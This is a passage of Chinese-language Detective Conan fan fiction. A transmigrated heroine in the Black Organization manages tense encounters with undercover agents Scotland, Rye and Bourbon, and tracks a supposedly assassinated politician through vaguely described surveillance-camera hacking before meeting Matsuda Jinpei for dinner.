金发黑皮的男人正拧着眉头盯着她掌心被锡箔纸包好的巧克力球,意味不明道:“你身上糖还真多。”
“最近还会低血糖吗?”苏格兰接过巧克力。
“以防万一啦。”神无梦随口道,“而且大家顺利完成任务,就把它当成奖励好了。买巧克力的钱我会找组织报销的。”
她回看向依然面色不善的波本,用商量的口吻挑衅:“要不下次给你们带果篮?不过我们应该不会一起出任务了欸!”
波本觉得拳头硬了。
“这段时间还好吗?”
苏格兰没理会两人时不时出现的口角,说道:“两周没联系上你,我很担心你。”
神无梦不知道他是不是在撒谎,为难地看了眼真正被她无视了短信电话的另外两个人,小声道:“我们不是联系上了吗?我搬家之后就和你打电话了呀。”
还谈了分手的事情。
“后来就不接我的电话了,不是吗?”
苏格兰陈述着事实,语气温和,听不出多少责备。
神无梦有点内疚。
但下一秒,她又觉得她根本没有内疚的必要啊!明明是苏格兰不肯相信她,把卧底的事情放在心里最重要的位置,对她的爱根本不像表现得那么多。
她就是被那些甜言蜜语嘘寒问暖蛊惑了,系统说她攻略没有成功的时候她都不信,像考前准备充分考试时完美发挥但发成绩却被判挂科的学生那样坚持要查阅自己的考卷,花了足足1000点生命去确认爱慕值,发现真的没到100点满值。
这番操作下来,她和那些被骗感情又骗钱财的冤种有什么区别嘛?
甚至她更惨,现在生命值告罄都快死了!
遭遇这种打击还能冷静地搬家并且和他“友好”协商分手已经是她能够做到的极限了。
这么一想,神无梦的语气都硬了几分:“合格的前任就要像死了一样嘛,不接电话也很正常啊。所有任务相关的需求都可以通过组织平台提交给我,我有空了会处理的。”
“我们单独聊聊。”苏格兰那双蓝色的凤眼微微垂下,上挑的眼尾都因为这个姿势而被压低,温声和她商量,“可以吗?”
一年来的感情并不都是假的。
就算还有点迁怒,那些货真价实的喜欢没有完全消失,再加上这张帅气的脸被他做出这种忧郁的表情,神无梦实在很难拒绝,犹豫道:“就在客厅。”
“要清场?”莱伊配合地起身,长腿一迈离开了沙发,回房前朝神无梦深深看了一眼,“欠我的人情别忘了。”
那个人情也是为了苏格兰欠的。
神无梦看向前男友的眼神更加幽怨。
被晾在一边的波本顿了两秒,最终还是在好友的注视下转身离开了客厅。
整间房霎时没了动静,神无梦连墙上挂钟的指针转动声都能听见,“滴答滴答”,像她的心跳声一样嘈杂。
她等了一会,想着苏格兰会以什么内容展开对话,是问那份卧底名单的事情,还是想问她真正的分手原因,又或者是卧底精神不死,准备从她这里打听点组织信息。
“你的脸色看起来不太好。”
熟悉的男声在耳边响起,仿佛温柔的水流淌而过,像过去的每一次那样关心她:“是和琴酒搭档太辛苦了吗?”
神无梦喝水的动作僵住。
所以说她还蛮怕和苏格兰单独相处的,毕竟他们交往的时候真的很愉快,是每一段都能拿出去票选“最佳男友”的那种。
可他只是看起来温和,那颗为了正义付出一切的心实在是太硬了些。
卧底这个身份太过如履薄冰,就连天台上握住手枪向他表明自己身份的赤井秀一都没办法立刻得到他的信任,她又凭什么觉得自己特殊呢?
但不论如何,在苏格兰面前,神无梦总有种自己被照顾着的感觉,就算心里再因为之前的事情不高兴,说话的语气也是软
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的:“……大哥、琴酒对我还不错啦,几次任务我都没怎么出力。”
其实是根本没有出力,可这些没有详细告诉苏格兰的必要。
玻璃杯口的热气快要散尽,她忍不住用指腹在杯壁上蹭了蹭,留下一道道光滑的痕迹。
苏格兰知道这是她紧张时的小动作。
但她第一次在他的面前表现得这样坐立不安,这个认知让他的内心闪过些许酸涩。
分手永远只是一个人的事情。即便这段情侣关系对他在组织的卧底生涯帮助极大,哪怕是上司都认为这对公安攻破组织的进度有益,他也没办法毫无顾忌地利用这份感情。
他的身份险些暴露,需要处理的事情太多,加上那通分手电话之后就再也联系不上她,直到今天一起做任务他才有机会让zero把她带回来,找机会当面聊聊。
其实他相信那份卧底名单有她在暗中帮忙,但他不可能拿整个公安部冒险,毕竟一旦他承认了自己的卧底身份,整条线的同僚都可能会被牵连。
让她成为公安的线人,或者污点证人,这些是有可能的吗?
苏格兰的心口痛了一下,脑海内又一次闪过两周以来出现过无数次的念头,但另一个问题需要弄清楚:“你和琴酒……”
“我们已经分手了。”神无梦不知道他心里的挣扎,开玩笑道,“应该没必要向前男友汇报我的感情问题吧?”
“的确。”
苏格兰已经听出来了她在默认。
这个认知让他的心猛然一沉,和琴酒出任务的次数越多,和那个男人走得越近,代表她在这个组织陷得越深。
除此之外,他还有许多想要问她的话,为什么这么仓促地离开,为什么当时电话里的声音那么虚弱,在搬进那栋新的安全屋前又住在了哪里,有没有其他人照顾她……
但最后,他只是看了眼旁边的挂钟,问道:“十点了。要留下来吗?”
神无梦顺着他的视线偏头,没想到这次一对一的聊天就这样虎头蛇尾地结束,拒绝道:“我叫出租车。”
安全屋的选址大多偏僻,她也不确定出去能不能等到出租车,但的确不想在这里过夜。
苏格兰看出来她的决心,去拿挂在门边的大衣,说道:“我送你。”
“不用。”
神无梦走到玄关处换鞋,并没有等他的打算。
这样和他纠缠不清对他们两个都没有任何帮助。
她闭上眼睛,重新睁开的时候不再像之前那样带着笑意,语气隐约有几分郑重:“苏格兰,不是组织里的事就别联系我了。”
隔着一扇半敞的门,披散着金色长发的少女站在昏暗的阴影中,与留在光里的男人对上目光。
她的声音轻柔,却又狠心:“我们已经分手了,苏格兰。如果你是卧底,离我太近只会害死我。”
——尤其在她决定攻略琴酒的现在。
两个人的交谈声音不大,起身开门的动静更轻,但之前被赶走的波本和莱伊还是同时从房间出来,恰好看到他们僵持的画面。
她不知道这两瓶威士忌有没有听到自己的最后一句话。当然,就算听到也没关系,身为卧底的他们假如不能给予她信任,那带来的只会是灾难。
“我的车就在门口。”
莱伊倚在卧室的门边,一条长腿微微曲着,手里的车钥匙晃了晃,似乎只等她点头就能出发。
波本人虽然出来了,但依旧低头看着手机,按键声不断,嘴上道:“把你扔我车上的手提电脑拿走。”
5. 攻略进度05%
神无梦想不通自己为什么一进这栋安全屋就不断做着令人焦头烂额的选择题。
苏格兰才被她不留情面地拒绝,莱伊这个关头出来说要送她,不管怎么想都是在火上浇油。
但无所谓,她准备让莱伊送自己回家算了,反正威士忌的事她也不打算掺和,结果波本对莱伊的厌恶之情蔓延到她的身上,前一秒口口声声让她把手提电脑带走,却在听到她决定的下一秒连车钥匙都不交出来,根本没有让她去拿东西的打算。
黑皮金发的男人臭着张脸:“这家伙休想碰我的车。”
他不是还敲过你的车窗吗?
神无梦一阵沉默。
为了自己并不怎么健康的身体考虑,神无梦不再多折腾,手提电脑也不准备拿了——反正系统随时能够对接上里面的程序,不存在被恶意破解的可能。
她决定在这里留宿。
这栋安全屋之前就是他们四个人一起住的,虽然她搬出去了,但房间还在。当时也只带走了随身物品,床具和换洗衣服都有,连沐浴露都还剩下半瓶。
莫名其妙发生的对峙结束,她没有对在场任何一个人说“晚安”的心情,走进自己的房间就反手拧上了门。
卧室和自己离开的时候比起来没有变化:床上的抱枕、床头柜边的相框,包括放在桌上的多肉都健健康康地长在盆里,每一片叶子胖乎乎的,看着就让人心情愉快。
绿色总是让人感到放松。
神无梦伸手捏了捏,和它打招呼:“我们肉肉又长大啦,明天带你回我们的新家好不好?”
搬家的时候十分仓促,她的情绪也不算太好,担心看到这盆和苏格兰一起养的多肉触景生情,就把它留在了房间里。
但现在冷静下来,她又觉得迁怒于一盆植物也太幼稚了点,而且它看起来这么可爱,再让她抛弃一次也于心不忍。
盆栽被养得这么好,桌子上又没有半点灰尘,根本不像两周没有住人的样子。
衣柜里的浴巾还带着熟悉的玫瑰柔顺剂的香味,睡衣叠得整整齐齐,一切都井井有条,仿佛在等她回来。
会做到这种地步的只可能是苏格兰。
神无梦又感觉有些不是滋味。
……之前那句话会不会说得太狠了点。
她自己心里都没底,回过头想想似乎是有些太过分了。
她并不想伤害苏格兰,但她能为对方做的都尽力了,现在她只能先考虑自己活下去的事情。
放完狠话也不敢去看对方垂下头隐在阴影中的表情。
怕自己看了就心软,谁让她不是卧底出身,只是个没接受过感情训练的普通人……
而且,如果不是苏格兰处处这样体贴,表达出来的爱这样多,她也不会那样相信他,觉得自己对他来说是最重要的存在。
她起初以为横亘在两人之间的是他的卧底身份,但是到了那份卧底名单泄露,她费尽心思扭转了天台之上的结局之后,他依然做不到放下所有来爱她。
其实苏格兰没有背叛她,更没有做任何伤害她的事,但不够爱在她这里就是死刑,是没办法解开的死结。
她永远都不可能凌驾于他心中的坚持之上。
这本应该是她在最初就意识到的,却非要自己撞得头破血流才清醒。
生病躺在床上的那一周她已经把她和苏格兰的关系翻来覆去地想了无数遍,也决定要彻底割舍掉不可能成功的过去,但重返旧地还是难免有点心酸。
神无梦努力让自己打起精神,对系统问道:【统统,生命值还剩多少?】
系统软萌萌的声音听起来比她还要担忧:【二十一点,转换成存活时间是二十一天,怎么办呀梦梦?都怪我没用,什么忙都帮不上呜呜呜——】
神无梦翻着手机上的日历,熟练地哄它:【别急别急,我们还有日常任务,努力完成还能苟延残喘一会!】
获取生命值的方式有两种。
第一种是完成系统发布的日常随机任务,和指定角色进行互动。这种任务的生命值奖励低的时候转换出来只有几个小时,是积少成多的类型。
缺点是必须完成当前任务才会刷新出新的任务,她有一次遇到了【和白马探牵手】这种不讲道理的任务,于是卡了整整一年!
因为当时一无所有的她根本没办法从英国的茫茫人海中找到对方,不得不放弃这条路。
第二种是救人。
越关键的角色被她拯救就能提供越多的生命值,如果不是苏格兰原本的死亡被她改变,她也不可能一次性拿出1000点生命值的巨款。
但毕竟这类角色翻遍整个《名侦探O南》也不多,普通的路人角色提供的生命值最多只有一天,勉强让她续上一天的命。
【那我们什么时候去做任务啊梦梦?】
系统已经从之前被莱伊交往邀请冲昏的电子恋爱脑中清醒,意识到宿主的生命才是重中之重:【我们的任务是[请松田阵平吃饭],快点做完然后刷新新的任务吧!】
说实话,任务倒不难,比起拥抱亲吻什么的未免有些简单得过分了。
但是……这个对象着实是让她觉得棘手。
神无梦想到他就心情复杂,已经能够想象到自己出现在他面前之后被强行拉走去找hagi的场景了,可能还会伴随着难以抵抗的一顿臭骂。
【等我快死了再说吧……】
她挣扎道。
已经过了她每天的睡觉时间,神无梦把头发绑起来,准备冲个澡结束这个紧张刺激的夜晚。
接着她发现一个很重要的问题——浴巾和换洗衣物虽然都能随便使用,但她的牙刷实实在在晾了两周,最好还是换一把。
备用的日用品都在客厅的收纳盒里,她的房间在走廊最里,出去的话得路过三瓶威士忌的房间。
虽然遇到任何人她都觉得自己能够应对,但临到睡前她并不想节外生枝。
神无梦贴在门边听了听。
她的神色凝重,全部注意力都集中在耳朵上,然后她意识到以自己的听力根本做不出任何判断。<
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p>思考了两秒,她轻手轻脚地走出去,注意到浴室里有亮光,还有淋漓水声,大概是某人在洗澡。
这栋房子一共两个浴室,一个是她的卧室嵌套的,理所当然归她用了,另一个在外面共用。
不管里面是谁她都不想在这种时候遇到,神无梦打算速战速决找到牙刷,连客厅的灯都没开,免得引起不必要的注意。
虽然这里住着三个男人,但他们都是很有条理的性格,物品的摆放位置一般会延续之前的规律,轻易不会打乱。
她的夜视能力一般,借着手机屏幕微弱的光亮看路,伸手在盒子里摸索,找牙刷形状的物品。
神无梦把手机往收纳盒的内部凑了凑,想要看得更清楚一些,身后却突然传来“啪”的一声,整个客厅都瞬间亮了起来。
环境的骤然变化让她被吓了一跳,发出一声小小的惊呼声。
“西拉?”
莱伊站在灯光的开关按钮边。
他的发尾微湿,没擦干的水珠无法被他平直的锁骨盛住,沿着身前的肌肉线条滚落,经块垒分明的腹肌没入被浴巾裹住的人鱼线,润湿了纯白色的绒棉面料。
但在场唯一的观众却暂时没有欣赏的心情,反而专注地在明亮的光线帮助下找到了想要的干净牙刷。
蹲在地上直接站起来容易让大脑供血不足,再加上她才受到惊吓,现在几乎是发懵的状态。
神无梦还不想倒在这里,就着这个姿势回头仰视后面的男人,抱怨道:“莱伊,你能不能不要神出鬼没的。”
她根本一点脚步声都没听到!
“还以为是小偷。”
莱伊挑眉:“刻意蹑手蹑脚的,很难不误会啊。”
他看出来了自己造成的后果,但半点不愧疚,长腿朝蹲在地上的少女迈去,低头问道:“要拉你一把吗?”
神无梦的确没办法靠自己起来。
她没有逞强,扶在对方的手臂上慢慢站直:“谢谢。”
她不敢起身太快,莱伊为了配合她的身高也不得不弯腰。
于是整个过程让那八块腹肌清清楚楚映在她的眼睛里,连蜿蜒的水痕都一览无余。
他使用的沐浴液仿佛都带着些辛辣的味道,掌心下的小臂肌肉贲张,还散发着洗浴过后的湿润热气,有种筋脉都在手里跳动的错觉。
神无梦有点怀疑自己是不是被色.诱了。
她下意识地看了眼苏格兰的房门,纹丝不动,安静得像里面没有住人。
不知道苏格兰听到外面的动静没有,但他却始终没有出来,或许是真的被她那句话伤到了……
神无梦让自己停止脑补,不要再为那些信念坚定的卧底找理由,可能苏格兰只是觉得没有出来的必要,懒得再管她的事了!
身边的男人沿着她的视线望过去,喉间溢出一声磁性的低笑。
“牙刷换了新的,人呢?”
莱伊的声音几乎贴在她的耳边,引起的振鸣从耳道滚进心里,似引导,又似引诱:“Yes,orNo?”
6. 攻略进度06%
坦白说,是有那么一瞬间的心动。
毕竟一个只围了条浴巾的混血大帅哥在夜半无人处对你窃窃私语这种暧昧的话,的确对当事女性的自制力是极大的考验。
如果是在两年前,刚刚认识连代号都没有的威士忌们的时候,神无梦觉得自己可能还会因为一些滤镜的关系而扛不住这种诱惑。
但是在现在,她绝对不会轻易被利用。
这么一点点动摇和自己岌岌可危的生命值比起来不值一提。
答应莱伊是不可能的!
这瓶威士忌肚子里的坏水她一清二楚,百分之百是想要从她这里套出什么组织信息,尤其是在他和苏格兰互通身份的现在,简直是装都不装了啊。
神无梦一把推开他——虽然不小心按在他胸口导致位置有点不对,但至少态度很明确,那就是拒绝!
要不是她打不过他玩心眼也玩不过他,她真想在这家伙耳边叫一句“赤井秀一”试试看他的反应。
但待在这栋房子里自身难保的她并不敢胡乱试探。
还叫什么“安全屋”,对她来说简直是个艰难求生的笼子!
神无梦攥紧千辛万苦找到的牙刷,快速走回房间,所以也错过了在她回房后那扇打开的房门,错过了两个男人在走廊处安静却又暗藏汹涌的对视。
-
生命值的骤降会反映到身体状况上,发色和瞳色都是最直接的症状,但受到影响的并不止于此。
就像从高空猛然下坠到地面后需要时间调整一样,她的身体在失去大量生命值后花了近两周才适应过来,期间视力下降、头疼加剧,就连皮肤都变得更加脆弱,稍有不慎就会引起严重的过敏反应,也因此让她一直卧病在床。
直到前几天,这具身体终于稳定下来,她才能够出门。
会对苏格兰这么冷淡又心狠,和她这两周遭遇的病痛并非全无关系。
神无梦把被子往上拉,试图控制大脑不要再去想无关紧要的事情,尽快进入睡眠。但大脑却只能听懂正向命令,以至于造成了某些误解,让她梦见了苏格兰死在天台上的那一幕。
——明明这场死亡已经被她改变了。
因为担心那份名单有错误这件事不能被及时发现,她甚至连莱伊的枪都想办法偷偷换了,还被后者发现,不得不欠了个可大可小的人情。
但她看到的画面既鲜明又真实,仿佛她整个人穿过了液晶屏幕,闯入了那方天台,亲耳听到那声枪响,也亲眼看到了诸伏景光的牺牲。
被子弹穿过的手机,失去了呼吸的人,姗姗来迟的降谷零和伪装成一切为了组织的赤井秀一……
实在是个可怕的噩梦。
“呼。”
神无梦猛地坐起身,额前的碎发都被冷汗浸湿。
厚重的窗帘将室外的光线遮挡得严严实实,眼前是一片漆黑。
心脏疯狂地跳动着,她按开床头的灯,去洗了把脸,试图让自己冷静下来:【统统,几点了?】
【七点半。】系统是不需要休眠的,会在她睡觉的时候给自己找点休闲的电影或者小说,这会还沉浸在里面,【梦梦平时也是这个点起床呀,怎么啦?】
【没事。】
神无梦让它继续玩,自己披了件外套走出卧室,不出预料地看到了在厨房里忙碌的那个身影。
系着的围裙将他的腰线勾勒,简单的居家服也穿在他的身上也显得像在秀场,整个人身高腿长,周围的厨具更为他添了几分柔和的气质。
神无梦有些恍惚。
或许是来到这个世界实在太久了,她为了那些零星的生命值挣扎得也太辛苦了,所以对这些角色的喜欢被逐渐埋在心里,连自己都不知道什么时候就忘了。
“早。”
苏格兰已经从脚步声听出她的到来,转过身神态自然地问道:“番茄鸡蛋三明治,可以吗?”
昨晚的那些狠话像是根本没被他放在心上。
神无梦没有回答,忍不住捂了下眼睛,不去看他变得担忧的目光。
她对苏格兰的感情很矛盾,或者说,是她对诸伏景光的感情很矛盾。
在穿越之前,她喜欢身为警官的诸伏景光,心疼身为卧底的苏格兰,更为他的死亡悲痛不已。当这样一个角色具现化成真正的人存在于她的面前,她很难不付出真正的感情。
被戏称为“男妈妈”的诸伏景光的确很擅长照顾人,说是“蛊惑”也不为过,把人弄得五迷三道,她真的有想过就算她得到了足够的爱慕值完成了任务,也要帮他们解决掉组织再回家……
从结果来看,显然是她过于一厢情愿了。
可是,现在她还活着,阳光依然会从玻璃窗照射进来,就连餐桌上摆着的鲜花都带着露水,一切都是这样的生机勃勃。
“……真好啊,苏格兰。”
跨越了足足两周,经历了生命值的剧烈震荡,神无梦终于能将这句话说出来。
少女浅金色的双眸如同盛着清晨的日光,温暖、明亮,又不至于将人灼伤,是能够触碰的,能够靠近的。
她伸手将披散的长发拨到身后,白净的脸蛋露出了个真挚的笑容,重复道:“你还活着,真是太棒了。”
苏格兰愣怔了一瞬。
那个笑容将他击中,心弦都为之颤动。
他几乎放弃了思考,想要将她抱紧,想要亲吻她的眼睛,但理智却从未真正离去,始终提醒着他什么是不应该做的事。
经历了卧底名单事件,他所面对的危机只会越来越多,再想在组织里往上爬也绝不可能。
公安那边已经商讨出了一份对策,而倘若按照方案实施,他的接近只会给她惹来更大的灾祸——就像她昨晚说的那样。
所以他接受了分手的事实,也从未提起过挽回的事,只是想在属于自己的空间里为她再尽一份心意,即便或许下一次见面就是敌人。
要告诉她吗?
要提醒她吗?
“梦……”
苏格兰开口,语气是少见的迟疑。
但这片空间毕竟不是真的只属于他们两个人。
莱伊在这时推门进来,一副锻炼完的模
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样。
不论心里作何感想,他并没有对两个人之间的氛围发表任何评价,冲他们点了点头就进了房间,拿了条浴巾去了浴室。
第三个人的贸然进入打断了苏格兰的话,也消散了那些牵引着他们坦白的蠢蠢欲动。
苏格兰的眼睑压下,将瞳孔中的复杂尽数敛去。
手边是已经热好的牛奶,他用手背试了试玻璃杯的温度,递到少女面前的时候只说出了那声“谢谢”。
牛奶是他准备的,这句话本该由神无梦来说,但两人都心知肚明这声“谢谢”是为了什么。
少女将牛奶接过来,双手捧着杯子抿了口,接受了这句迟来的道谢。
做好的三明治被摆上了餐桌,她在固定的位置坐下,问起了家里第四个人的去向:“波本呢?”
苏格兰坐在她的身边,回答道:“不清楚。”
怎么可能不清楚,只不过是对她的信任不够,不愿意告诉她罢了。
神无梦心里明白。
可下一秒,她又意识到,原来她自己也并不相信苏格兰。
盘子里的三明治还散发着香甜的食物气味,夹在中间的西红柿切片新鲜欲滴,金黄色的鸡蛋同样让人食指大动,但胃口却好像被某种沉重的情绪压抑,嗓子都堵了起来。
神无梦闷闷喝了口牛奶,故意不去看苏格兰,兀自翻着手机。
没过一会,她又说道:“我下周要去法国。”
“去做什么?”
苏格兰仿佛问完才想起来他们已经不是需要互相报备行程的关系,后知后觉地补了句,“可以告诉我吗?”
神无梦提起这件事就没有隐瞒的打算,掰着手指数道:“当然是旅游啊,去看薰衣草、看埃菲尔铁塔、看卢浮宫……”
每一件都是交往时他们约定要一起做的事,但现在却成为了不可能完成的心愿。
她还能眉眼弯弯地笑着,身边的听众却明显感到了不适。
苏格兰很难形容此刻的感受,她好像是报复一样故意说出这些话,可他真正难过的是,她说着这些内容的时候像是在描述待完成的任务,听不出应有的期待。
出色的语言组织能力如同在这一刻丧失,他不知道自己还能在这种时候说些什么:“抱歉。”
“别这么说。”
神无梦无所谓地摇了摇头。
少女的脸上带着清浅的笑,语气轻快,竟然有种反过来安慰他的感觉:“能够旅游,就说明我还活着,还拥有着健康的身体。这总比我躺在床上哪里都不能去要幸福很多吧!”
听到这种话,苏格兰的心脏不自觉地轻微抽痛。
紧接着,他又为她做出的假设而感到些许愤怒,口吻不由自主地染上几分命令的态度:“别开这种玩笑,梦。”
“好吧。”神无梦眨眨眼睛,收敛了些,说道,“是和琴酒出任务啦,其他都是顺便。”
她的表情又恢复了那种无辜纯真的模样,颊边的酒窝甜甜地露出来,问道:“不过,如果用了之前苏格兰做的旅行攻略,也是没问题的吧?”
7. 攻略进度07%
虽然像是开玩笑一样地询问他,但苏格兰知道自己没有拒绝的权力。
他想要祝她行程顺利,但想到她或许是陪着琴酒去做一些要沾血的杀人任务,那些话就没办法从变得苦涩的嘴里说出来,索性又沉默着咽了回去。
神无梦的手机响起,多了一条未读短信,发件人正好是他们才提起过的男人。
看到亮起屏幕上的名字,苏格兰问道:“今后琴酒是你的固定搭档吗?”
“苏格兰已经忘了吗?”神无梦笑了一下,“在你们加入组织之前,我一直在和琴酒搭档。”
她对自己的态度似乎一夜之间缓和了下来,没有之前的针锋相对,语气也熟稔,可苏格兰却意识到有某些东西发生了改变。
在推拒他的时候,苏格兰能够感受到她心中的怨怼,哪怕她说出的话像利刃,脸上的表情如寒冰,但真正的情绪会从眼睛里跑出来,是因为对他付出了感情才不得不用另一种更加强烈的情感去掩饰。
而现在,她仿佛不再介意之前的一切,就好像完全释怀了那样。
——对之前的那段感情,对面前的他。
相处模式恢复到了交往之前那样,其实已经是最好的结果,但苏格兰依然为他一手造成的现状感到些许酸楚。
“苏格兰。”
点开短信的少女没有功夫去顾及他的心情,她脸上的笑意退去,一双淡金色的瞳孔直直看向左手边的男人,语气有些恨铁不成钢:“你疯了吗?”
被她这么问,苏格兰收回思绪,脸上的温和之色半点不减,既不恼怒也不惊讶,平静问道:“出什么事了?”
他心里不确定她的话是否与zero清早出门处理的事情有关,但慌乱是卧底大忌,在了解所有信息之后他才能做出最佳判断。
神无梦试图从他的脸上看出来些许反应,理所当然地失败了。
她放弃跟这个男人玩心理战,把那条署名为Gin的短信摆到苏格兰的面前:“你有什么想解释的吗?”
——【福岛隆太存活,确定他的行踪。】
福岛隆太是他们昨天的任务对象,也就是那位拒绝被组织拉拢,知道不少组织信息的议员。
狙击手是苏格兰和莱伊,神无梦很清楚在他们互通身份之后绝对会采取某些手段保护这名议员的性命,再加上人在现场的波本,那位议员要是没被救下来才是离奇。
但是——他们到底是把这件事交给公安还是FBI了,为什么一夜过去就掉链子了啊?!
击杀视频是她亲手发到琴酒邮箱的,神无梦仔仔细细看过了,甚至让系统从技术角度分析了一遍,不管是血液喷溅还是倒地画面都不可能露馅。
所以只能是走漏了消息?
总不能是那位议员自己跑出来找死吧?
但这种时候再纠结细节已经没有任何意义,从琴酒这条简短而明确的短信来看,说不定他已经把苏格兰当成了叛徒,有什么人在这时候又收到了击杀苏格兰的任务。
“子弹是穿胸而过,福岛隆太不可能还活着。”
比起已经做出了满脑子假设的她,苏格兰依然冷静地陈述。
“福岛隆太?”
从浴室出来换了套衣服的莱伊突兀地插进对话,眼睛一扫就看到了手机屏幕上的信息:“昨天杀的是替身?”
神无梦实在佩服这两个卧底的心理素质。
一个安安稳稳坐在这里,一个开口就是理由,总之半点出事了的紧张都没有。
反倒是她这个底子清清白白的人担心得不行。
毕竟她也计划着毁灭组织,在这件事上和他们的目标是一样的,当然不希望他们的身份有暴露风险。
虽然是单方面当作同伴,神无梦也还是决定信任这几位卧底的能力,问道:“我的电脑还在波本车里吗?”
“他早上放到客厅了。”
苏格兰去帮她把手提电脑拿到餐桌上。
系统积极地检查了一遍电脑的完整性:【降谷零竟然没有入侵我们的电脑耶梦梦,他好谨慎啊!】
【怕被我发现吧。】
毕竟电子设备说不准哪里操作不当就会留下痕迹,以波本的谨慎,不可能做没有十足把握的事情。
神无梦打开电脑,的确对福岛隆太的行踪有些好奇。
网络上没有任何关于昨天晚上议员死在宴会大厅的新闻,今天的报纸同样没有提起半句,像是被什么人刻意将消息压下。
这个年代的信息流通渠道大多通过纸媒,操控起来也更加方便,一般都是官方使用了某些手段。
但令人惊讶的是,福岛隆太竟然真的在今天早晨出现在了市政议会大厅的门口,然后消失在里面。
市政大楼是政要高管聚集的地方,极其重视隐私和保密,除了大厅几乎没有安装任何摄像探头。
神无梦考虑了两秒,退出搜索引擎,转而接入早就留好后门的各方监控网络,试图拼凑出昨晚到今天福岛隆太的行程路线。
制作好的人脸识别系统开始工作,福岛隆太的面像档案早就建立完成。在昨天的任务开始之前,他的照片所形成的面像文件与面像文件所生成的面纹编码都已被贮存。
少女素白的十指在键盘上敲击,屏幕上画面纷杂,被监控探头捕捉到的无数张脸被红色的线条锁定。当前图像转换成的面纹编码与档案内的进行比对,【Loading】的标识持续加载。
90年代的监控系统并没有普及,除了昨天那种高档宴会大厅探头密集一些之外,就连马路上都只有关键枢纽才会安装。
神无梦不确定能否在有限的监控视频内捕捉到目标人物的存在,半试探地问了句:“如果福岛隆太真的活着,你要怎么办?”
在场有两个参与了任务的狙击手,但她的话明显是朝着苏格兰问的,另一位也很识趣地没有将话题接过来。
“我确定他当场死亡。”
苏格兰强调道。
好吧。
这里她一个组织成员,一个FBI卧底,一个公安卧底,就算发现福岛隆太真的还活着
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,出事的也只会是自己。
“滴滴”的提示音响起。
屏幕上兀然出现绿色的【TRUE】,被筛选出来的监控视频按照时间顺序完整地呈现在了她的眼前。
昨晚宴会的监控录像尽数被她覆盖了,只有福岛隆太在酒店门外被送上救护车和他在医院过道上被推往VIP区的画面。
神无梦的眉头轻蹙。
如果福岛隆太死了,那没有任何救治的必要;但如果在这群卧底的安排下让他假死,又为什么会弄得这么不专业?
下一幅画面就更加奇怪。
因为本应躺在医院的福岛隆太突然出现在米花大酒店的电梯内,然后去到了停车场,再之后见到他就是在新闻之中的议会大厅了。
这人只在里面待了一刻钟,也就是说,刚过八点他就离开了,折返回酒店。
市政大楼里发生了什么事他们不得而知,但两位卧底已经得出了结论。
莱伊确定道:“是两个人。”
“但另一个人是谁。”苏格兰问道,“可以查到昨天米花大酒店的入住名单吗?”
比起监控,拿份入住记录实在是轻而易举。
况且神无梦已经有了猜测。
她将名单调出来,但对方显然会在这种事上使用假名,关键还在于酒店前台处的监控。
戴着墨镜的金色长卷发女人出现在画面内的时候,三人都知道了这是怎么一回事。
妩媚的大美女甚至仿佛知道这段视频后续会被人调出来,推了推墨镜,朝监控探头的方向勾起那张饱满红唇。
破案了。
神无梦抓过手机拨通琴酒的电话。
大概是因为才给她派了活,对面这次倒是很快接听,但没有率先开口,安静得像是没人在。
对于琴酒拉满的高警戒度,神无梦已经习惯了。
她将关于福岛隆太从酒店被救护车带走的事情按下不表,也没帮苏格兰解释对方到底是否被当场击毙,只是说道:“大哥,福岛隆太的行踪我已经找到啦,他离开市议会大厅之后就去了米花大酒店。”
“不过他看起来是贝尔摩德易容的,我猜是她领了什么你并不知道的任务呢。”没有发生脱离掌控的事情,她的语气也不由自主地轻快起来,主动道,“要我帮你问问吗?正好我也很久没见过贝尔摩德啦!还有点想她欸!”
“不要做多余的事,西拉。”
那边的声音隔着手机都显得冰冷,得到了结论之后并不发表任何评价,紧接着用命令的语气通知道:“下周的任务提前,三天后去法国。”
神无梦目露惊讶,重复了一遍:“提前?这么着急?”
但琴酒显然没有再说一次的耐心,留给她的是机械的忙音。
【糟糕了统统。】听到这个消息,神无梦意识到她不得不改变计划,【去法国之前,我们得把日常任务做了才行啊。】
万一回不来,没办法和松田阵平吃上那顿饭……
她可不想年纪轻轻就客死异乡啊。
8. 攻略进度08%
约松田阵平出来吃顿晚饭倒没有太难。
但神无梦并不感到乐观,因为她知道最麻烦的是见面之后。
三年前和hagi分手的时候她还不够成熟,知道任务失败的时候远不像现在这样平静,闹得不是很好看——至少她单方面是这么认为的。
在感情稳定的情况下,分手是很突然也令人难以接受的事情,尤其男朋友才因为拆弹成功保住了整个美术馆里的游客生命与那些珍贵艺术品而受到表彰,不管从人品还是事业上分析都是上佳,她似乎没有任何理由做出这个决定。
但神无梦还是这样做了,甚至很过分地把那份被精心收好的空白婚姻届撕碎扔进垃圾桶,不给这段感情留下任何退路。
所有共同好友在听到他们分手消息的时候都意外又震惊,得知更多一点内情的松田阵平更是为自己的幼驯染鸣不平,趁hagi值班单独过来找她,黑着脸问原因的时候简直像是要揍她一顿。
神无梦不愿意对第三个人过多叙述自己的感情问题,更不可能告诉对方关于“攻略”和“生命值”的事情。
所以她回应的时候语气生硬得不行,不仅挑衅他“原来hagi和你这位幼驯染也不是无话不说”,还把所有的责任都推卸在了hagi的身上,简直像是玩弄感情的渣女。
后来就算她和hagi在分手阵痛后恢复,遇到生日节日还会偶尔发送些客气有礼的祝福,但和松田阵平却再没交流过,是彼此只差一步就要拉进黑名单的关系。
应该庆幸他没有拉黑自己。
在餐厅里等待对方到来的神无梦这样想到。
穿着一条深蓝色长裙的少女坐在靠窗的位置,披散在身后的金色长发尾端微卷,在不算太亮的顶灯下反射出轻柔的光泽,将那张白净的脸蛋衬得更加出彩。
听到大厅中央的乐者奏出的美妙钢琴声,闻到室内淡淡的香氛气味,神无梦满意地点点头。
她特意把地点定在了高档的餐厅,不管从环境还是氛围来说都不适合吵架或动手,多少让她放心一些。
松田阵平总不至于在这种地方毫不顾忌外人眼光地把她臭骂一顿吧?
神无梦心虚地拨了拨桌子上装饰用的假花,劝自己不要提前为没发生的事情担忧。
她看一眼手机,离约定时间还差十分钟,但有清晰的脚步声在钢琴曲中朝她的方向而来,是穿着黑西装的松田阵平。
鬈发男人随手将椅子一拉,力道却控制得很好,半点椅腿与地面的摩擦声都没有发出,然后坐在了她的对面。
“没想到你还敢联系我。”
松田阵平松了松领带,一双靛色的眼睛在此刻的光线下接近纯黑,没有表情的面容露出些许冷峻,在打量了她几眼后又露出了嫌弃之色:“染的是什么颜色。”
“还有眼睛里的……”他知道那种如同隐形眼镜一般的东西,却没办法叫出专业名词,索性只给出评价,“丑死了。”
